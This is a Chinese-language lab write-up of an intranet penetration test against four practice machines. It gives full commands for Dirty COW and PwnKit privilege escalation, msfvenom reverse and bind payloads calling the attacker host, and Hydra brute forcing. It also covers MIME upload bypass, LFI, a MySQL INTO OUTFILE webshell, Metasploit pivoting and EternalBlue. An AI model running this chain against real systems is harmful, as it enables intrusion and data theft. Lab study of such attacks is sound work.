边界突破与权限提升

本次渗透测试的起点是一台未知的边界服务器。在此阶段,主要目标是获取该服务器的控制权并提升至最高权限,为后续的内网横向移动打下基础。

01. 信息收集与服务探测

渗透测试的首步是进行详尽的信息收集。先用 Nmap 进行扫描,信息收集,发现靶机 IP 为 172.16.12.128,在 80 端口有个 apache,服务系统为 CentOS

nmap -sV 172.16.12.128

技术贴士:Nmap 扫描策略

这里的 -sV 参数用于探测开启端口的服务版本信息。准确获取目标运行的 Apache 版本及底层操作系统(CentOS),有助于我们在漏洞库中快速缩小可利用漏洞的范围。

02. 内核漏洞利用(脏牛提权)

针对较老的 Linux 系统,内核漏洞提权是极为高效的手段。根据探测到的系统信息,先使用 searchspoloit 找到脏牛再上传至受害机 。上传方法多样,可以蚁剑菜刀直接上传 ,也可以加害机:python -m http.server 80 ,受害机:wget http://....../filename

定位到具体的漏洞利用脚本:

searchsploit -m 40839

获取到 40839.c 源码后 ,然后进行 gcc 编译

gcc -pthread 40839.c -o dirty -lcrypt

执行编译后的程序,脏牛运行成功,特权用户 firefart 用户已创建,密码为自设的

03. MSF 后门生成与会话建立

尽管已经创建了高权限用户,但在尝试通过 su firefart 切换用户时遇到了障碍。我这里终端不行,提示 standard in must be a tty 。但是无所谓,反正是要用到 MSF 的,这里不支持切换就使用 Meterpreter 做端口转发用 SSH 连接

为了建立更稳定的控制通道,首先创建后门文件

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.16.12.145 LPORT=5656 -f elf -o back

技术贴士:MSFVenom 参数解析

  • -p linux/x64/meterpreter/reverse_tcp:选择 Linux 64位的反向 TCP 载荷,适用于目标机器能够主动出网的情况。
  • LHOSTLPORT:指定攻击机(Kali)的监听 IP(172.16.12.145)和端口(5656)。
  • -f elf:输出为 Linux 标准的可执行文件格式。

随后,在攻击机端配置监听。先进 msfconsole

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 172.16.12.145
set LPORT 5656
Exploit/run

配置完毕后 ,然后在靶机处运行上传的后门 ,只需要 chmod +x back ,执行 ./back 。成功获取 Meterpreter Session 1。

同时,为了后续的代理通信,执行了 portfwd add -l 8022 -r 127.0.0.1 -p 22 进行端口转发

04. 权限提升的替代方案(CVE-2021-4034)

在实战中,保持多条提权路径是良好的习惯。除了脏牛,还可以用到其他方法 。通过 MSF 的本地漏洞建议模块:

use post/multi/recon/local_exploit_suggester
set SESSION 1
run

模块运行后 ,找到 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec,这个也是著名漏洞 PWNKIT

直接利用该模块:

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set LPORT 6666
set session 1
run

执行完毕后 ,即可通过漏洞拿到权限 。至此,边界服务器已被完全掌控,接下来将依托此节点向内网进行探测。


内网代理构建与 Web 业务系统突破

在前一阶段获取了边界服务器的系统最高权限后,本次复盘将重点探讨如何以该边界节点为跳板,打通内外网通信链路,并对内网中的核心办公系统进行密码破解与初步突破。

05. 日志分析与内网网段发现

拿到权限后就开始翻找,进行信息收集,发现有不少来自 192.168.223.3 的访问 。这一发现至关重要,它直接暴露了该边界服务器背后隐藏的真实内网网段(192.168.223.x)。这说明目标机器具备双网卡或存在特定的内网路由,接下来的渗透重心将向此内网网段转移。

06. 建立 SSH 动态端口转发隧道

由于攻击机无法直接路由到 192.168.223.x 网段,必须依托已控的边界服务器建立代理隧道。这里先进行隧道连接

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -f -N -D 1070 firefart@127.0.0.1 -p 8022

技术贴士:SSH 隧道参数解析

  • -D 1070:在本地机器的 1070 端口建立一个 SOCKS 代理服务器,将流量动态转发至远端。
  • -f -N:指示 SSH 客户端在建立连接后转入后台运行,且不执行任何远程命令,专用于端口转发。
  • 由于 SSH 客户端版本差异,使用了 -o HostKeyAlgorithmsPubkeyAcceptedKeyTypes 来兼容旧版加密算法。

07. 全局代理配置(Proxychains 与应用层代理)

代理虽然开了,但 Nmap 等工具默认不会自动使用它。需要配置 proxychains 。编辑配置文件 :

sudo nano /etc/proxychains4.conf

滚动到文件最末尾,找到 ProxyList ,将最后一行修改为 socks5 127.0.0.1 1070 。然后扫描一下确认 。

为了后续对内网 Web 服务进行渗透测试,还需要将抓包工具与浏览器接入该隧道。打开 BP(Burp Suite)进行设置 ,在 SOCKS Proxy 选项中填入 127.0.0.1:1070

同时,Firefox 也要改一下 ,将代理配置指向对应的本地端口。

08. 目标服务状态修复

在尝试访问内网的 Web 办公系统(192.168.223.1)时,发现靶机有问题中途小修一下 。因后端数据库服务异常导致网站无法正常提供服务。

首先,清理残留的“锁”文件 。执行以下两条命令,强制删除残留的套接字文件 :

rm -f /var/lib/mysql/mysql.sock
rm -f /var/lib/mysql/mysql.pid

第二步:彻底杀掉可能存在的僵尸进程 。有时候会有残留的进程卡住端口,执行 :

killall -9 mysqld
killall -9 mysql

(提示:如果显示 "process not found" 是正常的,说明确实没在运行。)

第三步:重新启动服务 。现在再次尝试启动 :

service mysqld start

服务恢复后,成功访问到 192.168.223.1 的协同办公系统登录页面。

09. Web 认证突破(Hydra 暴力破解)

面对未知的 Web 系统,凭证破解是快速获取权限的有效途径。使用 Hydra 爆破这个 Web 登录页面,需要先准备好字典,并确定登录请求的格式

第一步:生成 5 位数字字典 推测目标可能使用弱口令,使用 crunch 工具快速生成一个包含 00000 到 99999 的字典 :

crunch 5 5 0123456789 -o pass10.txt

这会生成一个名为 pass10.txt 的文件,里面包含了所有 5 位数字的组合 。

第二步:确定 HTTP POST 请求参数 通过 Burp Suite 抓包分析,你需要知道登录表单中 :

  • URL 路径(比如 /login.php) 。
  • 参数名(用户名参数是 username,密码参数是 password) 。
  • 以及登录失败时的错误提示信息 。

第三步:构造 Hydra 命令 因为目标在内网,必须加上 proxychains 。具体的执行命令如下:

Proxychains hydra -l admin -P pass.txt 192.168.223.1 http-post-form "/login.php:username=^USER^&password=^PASS^&logintype=0&adminmobile=&adminmobileyzm=&submit=%E7%99%BB%E5%BD%95:用户名或密码错误"

技术贴士:Hydra 命令核心要素解析 * proxychains:强制 Hydra 流量走你之前搭好的 SSH 隧道,否则无法访问 192.168.223.1 。 * -l admin:固定用户名为 admin 。 * -P pass.txt:使用你生成的 5 位数字字典 。(注:实际执行中应为 pass10.txt)。 * http-post-form:告诉 Hydra 这是通过 HTTP POST 方式提交的 Web 表单 。 * 引号内的三部分(由冒号 : 分隔) :

1. /login.php:表单提交的目标 URL 路径 。

2. username=^USER^&...:POST 请求的参数链。^USER^^PASS^ 会被 Hydra 自动替换为字典中的内容。注意后面还带上了 submit 等字段,确保模拟真实请求 。

3. 用户名或密码错误:这是关键的失败判定标识。Hydra 的逻辑是:如果服务器返回的页面里包含这一串文字,说明密码错了;如果不包含,说明进去了 。

在尝试了约 65000 次后,成功找到了正确的管理员密码:75395


业务系统漏洞(文件上传与 LFI)及 MSF 自动化上线

在成功爆破出 OA 办公系统的管理员密码后,我们顺利进入了该系统的后台。本阶段的复盘将详细拆解如何在此系统中寻找突破口,将受限的文件上传漏洞与本地文件包含(LFI)漏洞巧妙结合,并利用 Metasploit Framework (MSF) 的强大功能实现自动化无文件落地式的 Shell 获取。

10. 绕过 MIME 校验突破文件上传

我们拿到密码进来后开始进行文件上传漏洞,这次直接上传木马 。经过系统功能遍历,在“个人办公”模块定位到了“修改头像”的功能点。这类功能通常是文件上传漏洞的重灾区。

面对系统前端可能存在的文件类型检测,还是同样的修改MIME头部绕过上传

技术贴士:MIME 头部绕过原理 在 HTTP 协议中,Content-Type 字段用于向服务器声明传输实体的数据类型。许多简陋的 Web 系统仅通过判断该字段(如是否为 image/png 或 image/jpeg)来决定文件是否合法,而不对文件真实内容进行二次校验。通过抓包工具拦截木马(.php)的上传请求,将其 Content-Type 强行修改为图片类型,即可轻松欺骗服务器完成恶意文件的上传。

11. 寻找后门路径与 403 Forbidden 防御

木马成功传入后,下一步是找到它的藏身之处并予以执行。通过代码审计发现上传路径 。前端代码和审查元素暴露出文件被存放到了 /avatar/ 目录下。

然而,事情并没有那么顺利,直接访问会被403 。

技术贴士:Nginx 目录执行权限限制 出现 403 Forbidden 通常意味着服务器权限配置拒绝了该请求。在专业的 Web 部署规范中,运维人员会在 Nginx 或 Apache 的配置文件中,利用 location 规则彻底取消静态资源上传目录(如这里的 /avatar/)的脚本执行权限。这意味着直接通过 HTTP 请求去访问该目录下的 .php 文件是被严格阻断的。

12. 挖掘并利用本地文件包含(LFI)

直接进物理路径受阻,必须转换思路。退回 OA 系统主页,通过观察网站的请求方式,发现该这里是使用 page 参数来包含并切换不同的 PHP 源文件,所以应该是存在文件包含漏洞的 。

URL 栏呈现出类似 ?page=grbg.php 的结构,这暗示后端可能使用了 include() 函数且未做严格的安全过滤。为了验证猜想

先测 LFI:用 ?page=/etc/passwd 确认漏洞存在 。

页面瞬间返回了 Linux 系统的敏感账号文件内容,证实了漏洞的存在。对泄露的信息进行深度研判,并且有发现这三个信息点

  • www-data (UID 33):这是当前的 Web 权限,权限较低 。
  • star (UID 1000):这是一个普通用户。在拿到 WebShell 后,他可能是下一步横向移动的目标 。
  • mysql (UID 113):确认了后端确实运行着 MySQL 数据库 。

13. 组合漏洞唤醒木马

既然确定了存在LFI就可以使用上传的木马,这里还是选择使用MSF进行控制

技术贴士:LFI 绕过 403 限制的核心逻辑 直接访问木马被拦截,是因为那是来自 Web 容器外部的直接 HTTP 请求。而利用 LFI 漏洞,是通过 OA 系统自身的 PHP 进程(如 index.php)去系统内部加载并解析那个木马文件。这种内部包含调用完美绕过了 Nginx 针对外部访问设置的执行限制。

14. MSF Web Delivery 自动化上线

为了更稳定、高效地控制目标,我们需要将简单的命令执行环境升级为全功能的后渗透框架。通过 web_delivery 自动化上线

这是一个非常方便的模块,它可以生成一串 Python、PHP 或 PowerShell 指令,直接在现有的 RCE URL 里执行即可获得 Meterpreter

在攻击机的 MSF 控制台中,进行如下配置:

use exploit/multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set LHOST 172.16.12.145
set LPORT 4444

技术贴士:端口冲突处理 web_delivery 模块在运行时,需要在Kali上启动一个临时的 Web 服务器来托管木马脚本 。由于该模块默认使用 8080 端口(SRVPORT) 。而我的 Burp Suite 恰好也在使用 8080 端口,所以冲突了,得改

修改端口并执行:

set SRVPORT 8888
Run

运行后 MSF 会

  • 启动 HTTP 服务器http://172.16.12.145:8888
  • 启动监听器172.16.12.145:4444
  • 生成执行代码

15. 衔接获取 Meterpreter

再使用LFI进行操作,在URL里填上http://192.168.223.1/?page=avatar/admin.php&wen=MSF给的PHP代码 。

随着 Payload 的投递,监听端建立连接,随即夺取成功拿到shell 。

深层渗透与横向移动:数据核心接管与嵌套路由突防

在成功拿下了 OA 办公系统的 WebShell 后,接下来的目标是寻找更有价值的敏感数据,并继续向网络最深处渗透。

16. 敏感配置泄露与数据库跨网段直连

拿到 shell 后,再一系列翻箱倒柜后发现了以下信息 。通过对网站目录的代码审计,我们在 config 目录下锁定了关键的数据库配置文件 。执行 cat dbconnect.php 后,直接获取到了核心数据库的连接凭证:用户名为 oa,密码为 144d993ba34367792dfe58370935c4b5,目标数据库服务器 IP 为 192.168.223.3

那我们就用这个信息利用隧道去尝试进入数据库 。然而,在尝试连接时,报错说是 SSL 协议对不上 。这在较老的内网环境中非常常见,应该是靶机得数据库太老,不支持 SSL 。

我们加上 --skip-ssl 参数强制跳过安全加密校验,成功登陆到了 MariaDB 监视器中 。

17. 数据库提权与 Outfile 写木马

进入数据库后,首要任务是评估当前账号的权限等级。然后查询权限,执行 show grants for oa@'%'; 。结果显示:该用户拥有 GRANT ALL PRIVILEGES ON *.* 。这意味着 oa 用户在数据库服务器(192.168.223.3)上拥有最高权限,包括读写文件的权利 。

既然拥有文件读写权限,那我们来写个木马试一下 。利用 MySQL 的 into outfile 特性,我们可以直接将恶意的 PHP 代码写入到 Web 服务的物理目录中:

select '<?php @system($_GET["cmd"]); ?>' into outfile '/var/www/html/db_shell.php';

然后验证一下,通过浏览器带上参数访问新生成的木马文件,成功执行了系统命令,拿到了基础的回显 。

18. MSF 正向连接(Bind TCP)与一级路由构建

同样的,也来使用 MSF 收集一下 shell 。由于内网机器通常无法“反弹”出来,我们接下来使用正向连接 (Bind TCP) 来获取数据库服务器的权限

技术贴士:为什么使用 Bind TCP(正向连接)?

在复杂的内网环境中,深层服务器(如本例的数据库)通常没有外网访问权限,甚至无法主动访问我们作为跳板的第一层 Web 服务器(严格的出站防火墙策略)。此时,让靶机主动连接攻击机的 Reverse TCP(反向连接)就会失效。而 Bind TCP 是让靶机在本地监听一个端口,由攻击机主动顺着代理隧道去连接它,这非常适合深层内网突破。

如果想访问内网网段,要通过已经拿下的这个 Session作为中转站,使用 MSF 路由 。在 MSF 中执行以下命令打通网段:

run autoroute -s 192.168.223.0/24

接着,使用 msfvenom 生成适用于正向连接的 PHP Payload:

msfvenom -p php/meterpreter/bind_tcp LPORT=3333 -f raw -o bind_shell.php

为了绕过特殊字符传输的限制,通过 RCE 在 URL 创建木马 。将生成的 Payload 转换为 Base64 编码,利用刚刚的 WebShell 将其写入数据库服务器:

echo "粘贴转换好的Base64字符" | base64 -d > /var/www/html/bind_msf.php

随后,在 MSF 里设置监听模块

use exploit/multi/handler
set payload php/meterpreter/bind_tcp
set RHOST 192.168.223.3
set LPORT 4444
Run

在 bind_tcp 模式下,需要设置 RHOST 。配置完毕后,成功唤醒并获取了属于数据库服务器的 Session 5

19. 内网据点复盘与安全态势

那么至此就已经收割了三台服务器 。我们需要梳理当前的战场态势:

  • 第一台:Web 边界服务器 (172.16.12.128)
    • 角色:外网门户、内网跳板 。
    • 渗透状态:完全掌控 (Root 权限) 。
    • 贡献:进入 192.168.223.x 内网段的唯一桥梁,在此搭建了 SSH 隧道和 MSF 路由 。
  • 第二台:OA 办公系统 (192.168.223.1)
    • 角色:内网业务服务器 。
    • 渗透状态:获取 WebShell 权限 (www-data) 。
  • 第三台:DB-WEB 数据库服务器 (192.168.223.3)
    • 角色:核心数据仓库 。
    • 渗透状态:获取系统权限 (apache) 。

20. 遭遇网络隔离:构建 MSF 嵌套路由

接下来我们继续进行横向移动 。然而,使用原有的路由和隧道都尝试了一下,全都无法扫描到 。

那我们考虑应该是这台机器只接受特定 ip 的访问 。这在大型内网中属于典型的微隔离(Micro-segmentation)策略。先把 MSF 路由从 Web 边界服务器改到 DB-WEB(192.168.223.3) 然后进行扫描 。根据之前日志里出现的 192.168.223.2 来思考,我们优先扫描他

突破这种隔离的方法是在 MSF 中建立“嵌套路由” 。MSF 支持多级路由。可以在已经有路由的基础上,再通过 Session 4 建立一条专门指向 192.168.223.2 的路径

进入 DB 机器的会话 sessions -i 5 ,添加二级路由,在 Meterpreter 中执行:

run autoroute -s 192.168.223.2

技术贴士:嵌套路由(Nested Routing)的原理 这一步告诉 MSF,凡是发往 192.168.223.2 的流量,请先通过 Session 1(到第一台靶机),再通过 Session 5(到 DB机器),最后送达目的地 。这就像是特工执行任务,先潜入 A 基地,利用 A 基地的专线进入 B 基地,最后再在 B 基地对 C 目标发起攻击。

21. 终极打击:MS17-010(永恒之蓝)接管 Windows 核心

验证并扫描,退回后台 (background),现在尝试扫描 192.168.223.2 的 Windows 特有端口 :

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.223.2
Run

扫描结果看,这个 192.168.223.2 是一台 Windows Server 2008 R2 (Build 7601) 。暴露操作系统后,我们进行关键词搜索 searchsploit "Windows Server 2008 R2" 。找到了著名漏洞永恒之蓝 (MS17-010) 。

为了确保万无一失,先找到这个 MSF 对应的模块 auxiliary/scanner/smb/smb_ms17_010 。加载该扫描模块,set RHOSTS 192.168.223.2Run 。先以此确认漏洞存在,如图即确认成功 。

一切准备就绪,调出最终的 Exploit:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.223.2

核心设置: 必须使用正向连接,因为流量要经过 Session1 和 Session5 的二级路由

set payload windows/x64/meterpreter/bind_tcp
set LPORT 4445
Exploit

蓝屏级内存破坏机制的运行,攻击包顺利穿透两层跳板直达目标。返回的 NT AUTHORITY\SYSTEM 提示符宣告结束。

实验结束,四个机器全收集


至此,整场内网渗透演练的复盘已全部完成。

此作者没有提供个人介绍。
最后更新于 2026-03-19